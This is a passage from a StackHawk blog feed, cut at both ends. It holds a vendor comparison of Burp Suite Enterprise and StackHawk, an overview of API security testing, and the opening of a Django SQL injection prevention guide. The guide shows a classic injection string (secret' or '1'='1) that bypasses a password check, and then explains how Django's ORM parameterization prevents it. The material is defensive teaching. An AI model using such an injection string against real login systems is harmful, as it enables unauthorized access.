it.&lt;/p&gt;&lt;p&gt;Before escaping, input validation is another valuable strategy when dealing with user input. For some kinds of data, it might make sense to use an “allow-list” approach, where you have a list of the valid data that can be accepted and everything else is denied.&lt;/p&gt;&lt;p&gt;Finally, there are &lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt;tools at your disposal&lt;/a&gt; that can help you not only with XSS but with other types of security threats. You can add those checks to your CI/CD pipeline, allowing you to find threats as early as possible in the software development process.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Carlos Schults.&lt;/i&gt; &lt;a href=&quot;https://carlosschults.net&quot;&gt;&lt;i&gt;Carlos&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a consultant and software engineer with experience in desktop, web, and mobile development. Though his primary language is C#, he has experience with a number of languages and platforms. His main interests include automated testing, version control, and code quality.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Burp Suite Enterprise vs. StackHawk: AppSec Testing Tool Comparison]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/burp-suite-enterprise-vs-stackhawk</guid><category><![CDATA[StackHawk Comparison Guides]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;Burp Suite is loved by security users and pen testers for its proxy feature that allows the manual manipulation of traffic.&lt;/p&gt;&lt;p&gt;If you have any background in application security, you are familiar with Burp Suite. For those who are newer to the space, &lt;u&gt;Burp Suite&lt;/u&gt; is one of the leading application security testing tools used by penetration testers and security analysts. Building on the popularity of Burp for individual use, Portswigger (the company that created Burp Suite) introduced the enterprise version of its AppSec testing tool to capture a different market – those looking to automate security testing across their org.&lt;/p&gt;&lt;p&gt;Burp Enterprise came with big promises. And while the product has the same high quality application security scanner, it doesn’t check all the boxes for modern teams looking to integrate security testing into product delivery.&lt;/p&gt;&lt;p&gt;StackHawk is an alternative to Burp Suite. Its sweet spot is for teams looking to scale API and application security across development teams. The scanner runs in CICD with features developers love, and provides coverage for modern apps and APIs.&lt;/p&gt;&lt;h2&gt;The comparison tl;dr&lt;/h2&gt;&lt;p&gt;Burp Suite and StackHawk both have best in class scanning capabilities. Burp Suite utilizes a proprietary scanner and StackHawk is built on top of ZAP – the world’s most popular security testing tool. &lt;/p&gt;&lt;p&gt;Which tool is right for you depends on your requirements and how you are looking to scale application and API security testing across your team. &lt;/p&gt;&lt;p&gt;For teams familiar with Burp Suite that are looking to have a CICD system kick-off a build, but largely keep security in control of testing, review, and remediation, Burp Suite is a solid tool - especially if the team is already familiar with Burp’s other offerings. &lt;/p&gt;&lt;p&gt;For teams that are looking to shift application security left, gaining the efficiencies promised by DevOps and CICD automation, StackHawk is the ticket. &lt;/p&gt;&lt;p&gt;The differences between these two tools are most clear across four areas: configuration, automated scanning in CICD, coverage for APIs, and dev-friendly features. &lt;/p&gt;&lt;p&gt;In this blog, we will dive into each of these so you can get a better picture of what tool is right for your team.  &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;&lt;b&gt;Burp Suite Enterprise vs StackHawk&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Below is a comparison of Burp Suite Enterprise vs StackHawk 👇. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Key Differences Between Burp Suite and StackHawk&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;Scanner Configuration&lt;/h3&gt;&lt;p&gt;We’ve been there…&lt;/p&gt;&lt;p&gt;You’re pumped to roll out that sexy new tool across your team.&lt;/p&gt;&lt;p&gt;And then you look at the config guide and your jaw drops because there are 11ty billion steps to get this thing going. So much for getting this rolled out to the team before Friday. &lt;/p&gt;&lt;p&gt;Burp Suite and StackHawk have big differences when it comes to deployment.&lt;/p&gt;&lt;h4&gt;Burp Suite Configuration&lt;/h4&gt;&lt;p&gt;Burp Suite configuration is no joke. &lt;/p&gt;&lt;p&gt;To get going with the on premises offering, teams must provision VMs for a web server, an enterprise server, a database, and Burp scanning agents. The web server and enterprise server require separate configuration before users can begin customizing the scanning agents. &lt;/p&gt;&lt;p&gt;Luckily, configuring scans once the infrastructure is deployed is straightforward, especially if the admin has used Burp Pro previously. The admin will create target sites for scanning in the Burp UI. &lt;/p&gt;&lt;p&gt;From there the user will configure a scan profile for the site. Scan creation is built to be very security-friendly. Users can schedule the scan to happen at a certain time, indicate if they would like it to be recurring, and pull in a Burp generated scan profile that has pre-determined parameters around crawl time limits, crawl speed, and audit coverage. &lt;/p&gt;&lt;h4&gt;StackHawk Configuration&lt;/h4&gt;&lt;p&gt;StackHawk was built to run anywhere, so anyone can get going with automated security testing. Kicking off your first scan does not require learning a complex UI, deploying servers, or changing firewall rules. &lt;/p&gt;&lt;p&gt;What makes this all possible is that StackHawk is deployed via a Docker container. The scanner can run consistently and reliably in any computing environment that your team needs. Test for vulns locally on a developer machine, in a CICD pipeline, or anywhere else your team can dream of. &lt;/p&gt;&lt;p&gt;To get going with a scan, users create an app in the StackHawk web portal which can be done with only three variables. With these variables, StackHawk creates a YAML file that encompasses the entire scan config, and the user is able to kick-off a DAST scan with a single `docker run` command.&lt;/p&gt;&lt;p&gt;Users can go from sign-up to a completed scan in CICD in 20 minutes. &lt;/p&gt;&lt;h4&gt;How to Think About DAST Configuration&lt;/h4&gt;&lt;p&gt;With vastly different approaches to configuration and scan deployment, there are significant implications about how these tools will be implemented and scaled throughout a software organization. Burp Suite’s configuration not only requires agents to be deployed within a company’s infrastructure, but it also limits the ability to shift application security left.&lt;/p&gt;&lt;p&gt;With this configuration, scans can only be run against either a staging or production build of the application. With this, developers often are not made aware of new vulnerabilities that they have introduced for days or weeks. With scanning implemented within the CI/CD pipeline, companies leveraging StackHawk gain significant efficiencies by alerting developers of new issues soon after they worked on the code.&lt;/p&gt;&lt;h3&gt;Automation in CICD&lt;/h3&gt;&lt;p&gt;Speaking of CICD…&lt;/p&gt;&lt;p&gt;Making software delivery efficient requires consistent, automated testing every time a developer checks-in code.&lt;/p&gt;&lt;p&gt;Burp Suite Enterprise and StackHawk take different approaches to how security testing lives in CICD. Depending on how your team is thinking about automating security, Burp or StackHawk could be right for your use case.&lt;/p&gt;&lt;h4&gt;Automating from CICD with Burp Suite&lt;/h4&gt;&lt;p&gt;With Burp Suite Enterprise, teams can create an API user that will integrate with a CICD system to kick off a scan of a publicly accessible staging site.  Burp has two native CICD integrations - Jenkins and TeamCity. Users can also utilize the Burp REST API to integrate into other CICD tooling. &lt;/p&gt;&lt;p&gt;While it is nice functionality for the scan kick off to be automated, this approach comes with a few shortcomings. &lt;/p&gt;&lt;p&gt;First, requiring the site to be accessible to the scanner means that teams cannot test underlying microservices or APIs independently. Instead, the scanner will crawl the front-end of the application and test the full customer facing application. This results in longer scan times and less clarity on which teams should fix identified issues.&lt;/p&gt;&lt;p&gt;Second, teams can run into latency problems since the scanner and app are not colocated. &lt;/p&gt;&lt;p&gt;Lastly, and most importantly, Burp’s CICD integrations lack reporting visibility that is fed back into the CICD system after a scan is kicked off. Developers can get JSON results via cURL, but results are not natively sent into the CICD system. Instead users need to log into Burp Suite to see results. This creates a huge disconnect in the security process as developers cannot remediate in the CICD workflow&lt;/p&gt;&lt;h4&gt;Automating in CICD with StackHawk&lt;/h4&gt;&lt;p&gt;StackHawk is the only DAST scanner on the market that allows software delivery teams to run automated vulnerability testing &lt;b&gt;in&lt;/b&gt; CI/CD. &lt;/p&gt;&lt;p&gt;By running in CICD alongside build and integration testing, teams can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Test faster, since the scanner is run alongside the app in the CI tool.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Test smaller increments of change, alerting developers if they have introduced a new vulnerability so they can quickly find and fix.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Test underlying microservices and APIs instead of the publicly hosted application, leading to faster vulnerability identification and remediation. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Test aggressively without manipulating real data or taking down a production site. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;StackHawk has optimized its underlying scanner to run quickly in pipeline. Teams can optimize the scanner to only run tests relevant to the app being tested with &lt;a href=&quot;https://docs.stackhawk.com/web-app/tech-flags.html&quot;&gt;tech flags&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;And, it’s easy to integrate StackHawk into any CI system your team is using. The platform offers custom integrations for leading providers including &lt;a href=&quot;https://github.com/marketplace/actions/stackhawk-hawkscan-action&quot;&gt;GitHub&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/continuous-integration/jenkins.html&quot;&gt;Jenkins&lt;/a&gt;, and &lt;a href=&quot;https://circleci.com/developer/orbs/orb/stackhawk/stackhawk&quot;&gt;CircleCI&lt;/a&gt;. But StackHawk’s YAML configuration makes it easy to execute security testing as part of your standard build pipeline in any CI tool. &lt;/p&gt;&lt;p&gt;StackHawk’s results are displayed in the CI tool. If StackHawk discovers a new, critical vulnerability has been introduced, users can configure the scanner to automatically feed a 42 exit code and break the build so vulnerabilities are not pushed into prod. &lt;/p&gt;&lt;h4&gt;How to Think About Automating DAST in CICD&lt;/h4&gt;&lt;p&gt;With Burp Suite, the first time a dynamic application security test can be run is when a publicly available build of the application is created, typically as a final step before deployment. While individual approaches vary by company, in most cases, this occurs long after a developer has pushed their changes. With StackHawk, a developer is notified quickly (often on the pull request) if they have introduced a new vulnerability, allowing them to fix the issue while they still recall what they were just working on. Much has been written about the efficiencies of shifting testing left - StackHawk enables teams to realize these efficiencies for application and API security.&lt;/p&gt;&lt;h3&gt;Complete Coverage for APIs&lt;/h3&gt;&lt;p&gt;API security testing is a growing concern. Gartner expects that 90% of web-enabled applications will have more surface area for an attack in the form of exposed APIs rather than the UI, and API abuses will be the vector most responsible for data breaches. &lt;/p&gt;&lt;p&gt;It is critical that whatever application security tool you use offers complete coverage for API security.&lt;/p&gt;&lt;h4&gt;API Security Testing with Burp Suite&lt;/h4&gt;&lt;p&gt;Burp offers REST API scanning capabilities that can deliver thorough coverage. Users can upload their OpenAPI 3.0 spec to the platform for the scanner to parse the API endpoints. Compared to most tools on the market that only access the API via the UI, this is a way to guarantee much more comprehensive API coverage. &lt;/p&gt;&lt;p&gt;If your team uses SOAP or GraphQL APIs, the coverage is less complete. Users have created add-ons to support coverage for these API technologies, but they are not native to Burp. &lt;/p&gt;&lt;p&gt;One of the Burp scanner’s weak points is that it does not offer customized scan configs for API security testing. Users can choose between the traditional scan profiles for apps that can be optimized for scan times, thoroughness, or audit coverage. &lt;/p&gt;&lt;h4&gt;API Security Testing with StackHawk&lt;/h4&gt;&lt;p&gt;StackHawk has created the industry’s fastest, most accurate dynamic security testing for APIs by optimizing the way a scan is configured, the way APIs are invoked, and the way vulnerabilities are reported on for REST, SOAP, and GraphQL APIs. &lt;/p&gt;&lt;p&gt;Like Burp, users can preload the scanner with API documentation to ensure complete coverage. Unlike Burp, StackHawk can be pre-seeded with OpenAPI spec version 2.0 or 3.0, the GraphQL introspection endpoint, or a WSDL file. &lt;/p&gt;&lt;p&gt;From there, users can pull a pretuned default scan config for the API technology being tested. This ensures that the scanner will run the meaningful tests for your API technology, and that the API will be invoked correctly (ie., REST APIs will only be sent JSON payloads). This means users get lightning fast and highly accurate scans for APIs. &lt;/p&gt;&lt;p&gt;By implementing API security testing with StackHawk, organizations can better protect attack surfaces that traditional DAST scanners are unable to fully scan, and keep pace with rapid iterations pushed by development teams. &lt;/p&gt;&lt;h3&gt;Built for Developers&lt;/h3&gt;&lt;p&gt;Modern orgs are done with dividing the roles of finding and fixing vulnerabilities between security and development. Instead, teams are working to shift security left by embedding security into the development process. &lt;/p&gt;&lt;p&gt;Doing so requires that developers have the resources and tooling to find, understand, and fix security vulnerabilities before they ship code. &lt;/p&gt;&lt;h4&gt;Burp’s Dev-Friendly Features&lt;/h4&gt;&lt;p&gt;Burp has begun to deliver a handful of developer-friendly features. &lt;/p&gt;&lt;p&gt;For instance, the tool has a Jira integration that allows for users to create issues out of new vulnerabilities. In those Jira tickets, users will find links to cheat sheets to help developers understand the vulnerability. &lt;/p&gt;&lt;p&gt;But what developers need to fix findings as they deliver code is lacking. &lt;/p&gt;&lt;p&gt;Developers have no way of recreating findings, or validating fixes. And since the scans are running on a staging environment, the developer may have committed the code long before the vulnerability was found.&lt;/p&gt;&lt;p&gt;Burp is still a security user’s tool, which is now delivering findings to developers via Jira tickets instead of a pdf.  &lt;/p&gt;&lt;p&gt;For Burp Suite Enterprise users, security is either blocking releases or playing catch-up. Security is an afterthought for engineers and fixing vulnerabilities means taking time away from feature development and long fix times&lt;/p&gt;&lt;h4&gt;StackHawk’s Dev-Friendly Features&lt;/h4&gt;&lt;p&gt;StackHawk has reimagined the security testing process to live closer to the code, giving developers the ability to find and fix vulnerabilities as they write code. Gone are the days of pdf reports or endless Jira tickets. If a new vulnerability is introduced, developers get the right information to make informed risk decisions, guidance to recreate the vulnerability, and instant fix validation.  &lt;/p&gt;&lt;p&gt;This comes to life through a few key features. &lt;/p&gt;&lt;p&gt;First, StackHawk notifies developers about new vulnerabilities where they are already working. Whether it is &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/github-code-scanning.html&quot;&gt;GitHub&lt;/a&gt;, &lt;a href=&quot;https://devopsenterprise.slack.com/apps/A0114L5HGP5-stackhawk&quot;&gt;Slack&lt;/a&gt;, &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/datadog.html&quot;&gt;DataDog&lt;/a&gt;, or &lt;a href=&quot;https://appsource.microsoft.com/en-us/product/office/WA200002888?src=wnblogjul2018&amp;tab=Overview&quot;&gt;MS Teams&lt;/a&gt;, developers are notified when a scan is completed so they can see findings immediately. &lt;/p&gt;&lt;p&gt;If a new vulnerability is introduced, teams are directed to the finding details which include cheat sheets and documentation for how to fix a vulnerability, as well as a cURL command that allows them to recreate the vulnerability locally. &lt;/p&gt;&lt;p&gt;Once a dev thinks she has fixed the vulnerability, she can validate the fix locally by running StackHawk on their machine before pushing the change back to CI. &lt;/p&gt;&lt;p&gt;The beauty of this entire process is that it all happens while a dev is in the context of their code. They are notified as soon as code is committed if a new vulnerability is introduced, have the tools to remediate right away, and can check their fix before recommitting. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;So, Which One to Choose?&lt;/h2&gt;&lt;p&gt;Burp has a great reputation for its manual proxy testing capabilities, but their Enterprise tooling misses the mark on the needs of modern security teams looking to automate AppSec testing. &lt;/p&gt;&lt;p&gt;We’re obviously biased, but there are significant benefits of using a tool like StackHawk for your application security testing. With StackHawk, you get the benefits of a trusted, powerful scanner combined with the modern experience teams need to run an effective security program that keeps pace with development teams. &lt;/p&gt;&lt;p&gt;So go ahead –&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;get started&lt;/u&gt;&lt;/a&gt; with a StackHawk trial or free account today.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[API Security: Protection from Vulnerabilities with Design and Testing]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/api-security-protection-from-vulnerabilities-with-design-and-testing</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Rebecca Warren]]></dc:creator><content:encoded>&lt;p&gt;APIs are the core of today’s modern applications. But, the critical application data and logic they expose make them juicy targets for bad actors.&lt;/p&gt;&lt;p&gt;Most of us remember the Equifax API security breach which cost the company &lt;a href=&quot;https://www.housingwire.com/articles/equifax-expects-to-pay-out-another-100-million-for-data-breach/&quot;&gt;$1.14 billion&lt;/a&gt;. Other API vulnerabilities like &lt;a href=&quot;https://arstechnica.com/information-technology/2018/09/50-million-facebook-accounts-breached-by-an-access-token-harvesting-attack/&quot;&gt;Facebook&lt;/a&gt; and &lt;a href=&quot;https://www.wired.com/story/i-scraped-millions-of-venmo-payments-your-data-is-at-risk/&quot;&gt;Venmo&lt;/a&gt; also came with hefty price tags and compromised millions of accounts. &lt;/p&gt;&lt;p&gt;API security will continue to be a going concern. API abuses will be the most frequently exploited attack vector resulting in data breaches for enterprise web applications by 2022 [&lt;a href=&quot;https://www.gartner.com/en/documents/3834704&quot;&gt;Gartner&lt;/a&gt;].&lt;/p&gt;&lt;p&gt;It’s no wonder that APIs are prime targets. The majority of vulnerability testing tools scan APIs once they are in production. Often these are part of periodical penetration tests (pen tests) or audits. Once testing is complete, the security team shares the vulnerabilities with the engineering team. Eventually, engineers take time away from feature development to patch and fix. &lt;/p&gt;&lt;p&gt;The problem with this approach of course is that the vulnerabilities are live in production long before they are found. Hoping your pen tester finds API vulnerabilities is not going to cut it. This is especially true if you are running complex APIs like GraphQL, which pen testers struggle to test effectively. &lt;/p&gt;&lt;p&gt;That is the process if you have an API testing program. Many teams lack the security knowledge or time, or both, to have an API security framework in place. &lt;/p&gt;&lt;p&gt;Security can no longer be an afterthought to functionality. Teams need to step up their API security testing programs in both the design and development phases. &lt;/p&gt;&lt;h2&gt;Designing a Secure API Platform&lt;/h2&gt;&lt;p&gt;Keeping your APIs secure requires multiple tools in your arsenal. This is especially true when it comes to designing your API. To keep your company and your data protected, you need to consider everything from who can access an API to how you are protecting yourself from known vulnerabilities. &lt;/p&gt;&lt;p&gt;We recommend building a solid plan around the following areas when you are designing your API: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Access Control:&lt;/b&gt; Ensure that internal APIs stay private. Restrict access to only the users that need it. Practice the principle of &lt;a href=&quot;https://searchsecurity.techtarget.com/definition/principle-of-least-privilege-POLP&quot;&gt;least privilege&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Rate Limiting:&lt;/b&gt; Control the number of requests a user can make to your API to prevent abuse (like DDoS). This also controls programming mistakes like endless loops. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Data Exposure:&lt;/b&gt; Check that your API isn’t revealing more than you would like. Be careful that your API isn’t returning extraneous or confidential data.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Vulnerability Identification:&lt;/b&gt; Protect your Web API from common weak spots, like injections, that are easily exploitable by bad actors. This is one of the more nuanced areas of API security, as it requires testing inputs and outputs, and fixing vulnerabilities once they are found. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;You can limit API security concerns by thinking through these security considerations in the design phase. But it doesn’t remove that possibility all together. &lt;/p&gt;&lt;h2&gt;Testing API Security in Development&lt;/h2&gt;&lt;p&gt;No one wants vulnerabilities in their API to make it into the wild. At StackHawk we believe in &lt;a href=&quot;/blog/application-security-testing-belongs-in-the-ci-pipeline/&quot;&gt;security testing in CI/CD&lt;/a&gt;, before an application or API is shipped to prod. Testing for vulnerabilities in the development stage is one of the best possible ways to step up your API security. &lt;/p&gt;&lt;p&gt;We are seeing the rise of developer-centric security tools that make it simple to add security testing to CI/CD. With dev-centric tooling, you can find and fix vulnerabilities on every merge. This means you can have faith that the API you are shipping is protected from vulnerabilities.&lt;/p&gt;&lt;p&gt;There are different types of tools out there that catch different types of vulnerabilities. &lt;/p&gt;&lt;h3&gt;Dynamic Application Security Testing (DAST)&lt;/h3&gt;&lt;p&gt;DAST scanners work by simulating malicious attacks against your running API. You can run dev-centric DAST in pipeline, the same way as unit tests or integration tests. We love DAST for a couple of reasons. &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Since it tests your running application, it is less likely to find false positives. If DAST finds a vulnerability, it is present in your application. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST finds the juicy stuff! DAST finds most of the OWASP Top 10, as opposed to other forms of security testing like SCA. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DAST isn’t language dependent. DAST has you covered even if you are using a more obscure language like Rust or Kotlin for your API.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;While DAST is typically thought of as a tool for application security testing broadly, it is an incredibly effective way to test any form of API including GraphQL, REST, and SOAP. &lt;/p&gt;&lt;h3&gt;Software Composition Analysis (SCA)&lt;/h3&gt;&lt;p&gt;SCA finds vulnerabilities in open source libraries. These tools will examine the libraries your API uses to make sure they do not have any known common vulnerabilities and exploits (CVE). SCA will also provide you with critical knowledge should new vulnerabilities be discovered.&lt;/p&gt;&lt;h3&gt;Static Application Security Testing (SAST)&lt;/h3&gt;&lt;p&gt;Static application security testing scans the code base of the API or application for patterns that indicate a potential vulnerability. More recently, companies have built SAST tools that scan the &lt;a href=&quot;https://swagger.io/specification/&quot;&gt;openAPI specification&lt;/a&gt; file for potential vulnerabilities. It is important to note that SAST is language dependent, so make sure you find a tool that supports the various languages you use in your API development. Additionally, SAST is typically most impactful when it is run with highly targeted tests, which helps avoid the common compliant of high false positives for this type of testing.&lt;/p&gt;&lt;h2&gt;How to Get Going with API Security Testing&lt;/h2&gt;&lt;p&gt;Implementing a new type of testing in CI/CD can be intimidating. &lt;/p&gt;&lt;p&gt;The best way to get started is with running tests against a single, relatively simple API. &lt;/p&gt;&lt;p&gt;Once you have completed your first scan, dev-centric tooling will give you triaging capabilities so you are able to take action on the most critical vulnerabilities first. Many dev-centric platforms (including the one we are building here at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;StackHawk&lt;/a&gt;) mark findings based on criticality level like “High,” “Medium,” and “Low.” If you aren’t sure what a finding means or why it matters, you can often find cheat sheets linked in the platform you are using to help you broaden your security knowledge. &lt;/p&gt;&lt;p&gt;Once a vulnerability is identified, the scanner should give you the ability to recreate a finding with a cURL command so you can remediate any vulnerability on the spot.&lt;/p&gt;&lt;p&gt;Security is just another quality of a good API. These tools make it easy for developers that lack security expertise or don’t have access to a security team to make informed decisions around risk. &lt;/p&gt;&lt;h3&gt;Start Scanning&lt;/h3&gt;&lt;p&gt;APIs represent a sizable and growing security threat to today’s businesses. No matter what type of API you are working with, you should have confidence that what you are releasing into prod is secure and critical data is protected. Testing APIs in prod is no longer good enough, and ensuring vulnerability protection in CI/CD is table stakes. Get going with vulnerability testing on a single API. Learn and iterate as you go to keep your app and your business protected.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django SQL Injection Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/sql-injection-prevention-django</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.djangoproject.com/&quot;&gt;Django&lt;/a&gt; is a Python web framework that supports rapid development. It already has many components and elements to help you quickly deploy your site or application. You can include front-end and back-end components, and then you’re ready for the next sprint. Additionally, one of Django’s great advantages is that it already includes many security features. But you still have to pay attention, making sure you use all its characteristics appropriately. &lt;/p&gt;&lt;p&gt;For instance, the topic at hand is SQL injection. Let’s dive in to it with a very quick overview, some examples of how it affects you, and how to prevent such attacks, specifically using the Django framework. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;What Is SQL Injection?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In a few words, it’s an attack on your application, where the attacker attempts to execute additional commands on your database. It’s called SQL injection because the attacker &lt;i&gt;injects&lt;/i&gt; SQL commands through user inputs, thus changing the way your application behaves. This may lead to information leaks, unauthorized access, or even wiping all your data. &lt;/p&gt;&lt;p&gt;Now let’s look at an example. Let’s assume you have an API to authenticate a user, and within your code, you execute the following query: &lt;/p&gt;&lt;p&gt;select * from users where username=’myuser’ and password =’secret’;&lt;/p&gt;&lt;p&gt;Say a user inputs the following string: &lt;b&gt;secret’ or ‘1’=’1&lt;/b&gt;. Then we have this: &lt;/p&gt;&lt;p&gt;select * from users where username=’myuser’ and password =’&lt;b&gt;secret’ or ‘1’=’1&lt;/b&gt;‘;&lt;/p&gt;&lt;p&gt;The above statement is a valid SQL statement. Nevertheless, since we added the condition &lt;b&gt;or ‘1’=’1′&lt;/b&gt;, the statement will always evaluate as TRUE. As a result, we’re bypassing the password security. &lt;/p&gt;&lt;p&gt;This is just a basic example. For a deeper overview, check out this article that gives further examples of &lt;a href=&quot;https://www.stackhawk.com/blog/what-is-sql-injection/&quot;&gt;SQL injections&lt;/a&gt; and how to prevent them. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;How Do You Mitigate a SQL Injection?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The answer here is very straightforward:&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;To avoid this attack, you have to &lt;b&gt;sanitize&lt;/b&gt; every user input. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;And, especially for web applications, this needs to be done at both the client and server side. Why? Because most current browsers already come with the tools an attacker needs to bypass client-side validations. And if you add a REST API client, you’re already speaking only to the server, so all browser security implementation is gone. &lt;/p&gt;&lt;p&gt;Sanitizing inputs may be cumbersome—more so if you have to do it twice. This is where development frameworks especially come in handy because somebody else already found a way to make this simpler. Now, let’s see how Django deals with this. &lt;/p&gt;&lt;h2&gt;&lt;b&gt;Preventing SQL injection With Django&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Authentication&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In reference to the previous example, Django already includes a library to authenticate your users. Look at this example, taken from &lt;a href=&quot;https://docs.djangoproject.com/en/3.1/topics/auth/default/#authenticating-users&quot;&gt;Django documentation&lt;/a&gt;: &lt;/p&gt;&lt;p&gt;&lt;code&gt;from django.contrib.auth import authenticate&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;myuser = request.POST[&amp;#39;username&amp;#39;]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;mypassword= request.POST[&amp;#39;password&amp;#39;]&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;user = authenticate(username=myuser , password=mypassword)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;if user is not None:&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;# A backend authenticated the credentials&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;else:&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;# No backend authenticated the credentials&lt;/code&gt;&lt;/p&gt;&lt;p&gt;The above code pulls the username and password from the POST request (user input through a form). Then, the &lt;b&gt;authenticate&lt;/b&gt; function takes care of authenticating user credentials against an authentication back end, which, in Django, can be a database or an LDAP system, for example. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;Database Queries&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Even though you may use direct queries in Django, you should avoid them by using Django’s Object Relational Mapping (ORM) layer. Within that layer, &lt;a href=&quot;https://docs.djangoproject.com/en/3.1/topics/security/#sql-injection-protection&quot;&gt;Django protects itself from SQL injection by using query parameterization&lt;/a&gt;. Within the ORM layer, Django defines SQL queries separated from the query’s parameters, and the database driver is in charge of escaping each of the parameters. &lt;/p&gt;&lt;p&gt;Let’s look at another example, this time presenting a Django model and how Django works with the information. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Django Model&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;class Blog(models.Model):&lt;/code&gt;&lt;/p&gt;&lt;p&gt;  &lt;code&gt;name = models.CharField(max_length=100)&lt;/code&gt;&lt;/p&gt;&lt;p&gt; &lt;code&gt;tagline = models.TextField()&lt;/code&gt;&lt;/p&gt;&lt;p&gt; &lt;code&gt;def __str__(self):&lt;/code&gt;&lt;/p&gt;&lt;p&gt;  &lt;code&gt;return self.name&lt;/code&gt;&lt;/p&gt;&lt;p&gt;This is a very simple object with two fields: name and tagline. When deployed, it will map a database table with the same fields. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Working With Data&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; from blog.models import Blog&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; b = Blog(name=&amp;quot;My pet&amp;#39;s blog&amp;quot;, tagline=&amp;#39;Adventures in the animal house.&amp;#39;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; b.save()&lt;/code&gt;&lt;/p&gt;&lt;p&gt;In the above example, we created a blog object, setting its initial values. Then we save it to the database, a very simple operation. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; b.name = &amp;#39;New name&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; b.save()&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now we changed the name and saved it again to the database. &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; Blog.objects.get(name__iexact=&amp;quot;My pet&amp;#39;s blog&amp;quot;)&lt;/code&gt;&lt;/p&gt;&lt;p&gt;And the above command makes a query to the table, looking for the specific text. &lt;/p&gt;&lt;p&gt;Take a moment to look at the input text. The point with the previous examples is that even if you’re using special characters, such as the apostrophe (‘), the SQL won’t break, and it’ll use the text the way it’s meant to be used. &lt;/p&gt;&lt;h4&gt;&lt;b&gt;Using Custom Queries&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Sometimes, there are situations where queries are very complex or the data doesn’t adjust to the defined models, so it’s not possible to use the ORM layer. For these scenarios, Django provides you different options to execute your SQL statements in a secure way. &lt;/p&gt;&lt;h4&gt;&lt;a href=&quot;https://docs.djangoproject.com/en/3.1/topics/db/sql/#executing-raw-queries&quot;&gt;&lt;b&gt;Manager.raw()&lt;/b&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;This method allows you to execute an arbitrary query that 